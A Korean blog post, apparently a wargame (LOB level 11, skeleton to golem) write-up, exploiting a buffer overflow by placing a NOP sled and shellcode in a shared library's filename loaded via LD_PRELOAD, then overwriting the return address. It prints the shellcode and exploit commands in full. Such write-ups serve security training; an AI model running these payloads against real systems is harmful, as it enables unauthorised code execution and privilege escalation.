본문 바로가기
Security/Pwnable

LOB Level 11 skeleton

by J0DEV 2021. 8. 10.
반응형

skeleton -> golem 으로 접속합니다.

소스 코드를 보는데...

 

웃음만 나오네요 하하하

 

RET 영역을 빼고 모두다 초기화 시켜버리네요

 

그래도 혹시나 싶으니

 

golem을 golem1으로 복사하여

 

gdb로 열어봅시다.

 

 

 

프로그램이 끝나기 직전에 break 를 걸고

 

실행하면

 

 

 

 

쉘코드를 어디에다 올려야할지 감이 안잡히네요

 

다시금 메모리 구조를 생각한 결과

 

공유 라이브러리 말고는 없었습니다

 

공유라이브러리 + LD_PRELOAD 를 이용하여 후킹을 해야한다는 걸 알았습니다.

 

우선 공유라이브러리에 대해 다시 공부했습니다.

 

공유라이브러리는 심볼(함수,변수)들을 프록램이 시작하기 전에 로드하여 필요로 할 때마다 연동되는 동적인 라이브러리이다.
메모리, 용량 절약과 라이브러리를 어제든지 업데이트 할 수 있는 융통성을 가지고 이지만 사용자로부터 접근하기 쉽도록 짜여 있어, 보안에 문제가 발생한다.
gcc -c fPIC ex1.c
공유 라이브러리 함수로 컴파일 할때는 독립한 코드로 만들기 위해 -fPIC옵션을 이용한다.
gcc -shared -o libmyshared.so mshared.o
공유라이브러리 파일을 만들기 위해 ar을 이용하는 것이 아니라 gcc의 -shared 옵션을 이용하여 생성한다.

 

출처 - http://mintnlatte.tistory.com/156

 

 

 

 

LD_PRELOAD
프로세스 실행 과정  라이브러리를 로딩 할때, LD_PRELOAD 변수가 설정되어 있으면 해당 변수에 지정된 라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있다면 해당 함수를 먼저 호출해 준다.
즉, 자동으로 후킹을 수행해준다는 말과 같다.

출처 - http://hyunmini.tistory.com/55

 

 

 

파일이 실행되어 공유라이브러리를 사용한다면,

 

공유라이브러리를 사용하는 모든 프로그램은 만들어진 라이브러리를 사용하게 될 것이고

이때 LD_PRELOAD를 통해 라이브러리를 공유 라이브러리 영역에 올리는게 가능합니다.

 

즉 라이브러리의 명을 올릴 수 있는거죠

 

 

우선

 

exploit.c 라는

 

프로그램을 하나 만들어 줍니다.

 

 

내용은 아무거나 넣어주고요~

 

이걸 컴파일 할건데

 

컴파일할때 공유라이브러리로 컴파일하는 동시에 파일명에 쉘코드를 넣어주는 것입니다.

 

(라이브러리의 명이 올라가기 때문에 )

 

gcc exploit.c -fPIC -shared -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

 

(48바이트 쉘코드)

 

컴파일을 하고 난 뒤,

 

 

이것을 LD_PRELOAD에 올려줍시다.

 

export LD_PRELOAD="`python -c 'print "/home/skeleton/"+"\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"

 

(경로도 같이 올려줘야합니다.)

 

 

그리고

 

env 로 확인하면

 

 

 

자 그럼 이제 확인해보기 위해

 

복사한 원본파일 (golem1)을 gdb로 확인해봅시다.

 

 

마지막 부분에 break를 걸고 

 

 

여기서

 

x/1000x $ebp-1000 하니깐 아무것도 안나와서 $ebp-2000하니깐 나오네요

 

 

 

 

 

 

공유라이브러리의 파일명이 올라가있네요

 

넉넉잡아

 

0xbffff4f8로 ret를 설정해주면

 

되겠네요

 

./golem `python -c 'print "A"*44+"\xf8\xf4\xff\xbf"'`

 

 

 

반응형

'Security > Pwnable' 카테고리의 다른 글

LOB Level 13 darkknight  (0) 2021.08.10
LOB Level 12 golem  (0) 2021.08.10
LOB Level 10 vampire  (0) 2021.08.09
LOB Level 9 troll  (0) 2021.08.09
LOB Level 8 orge  (0) 2021.08.09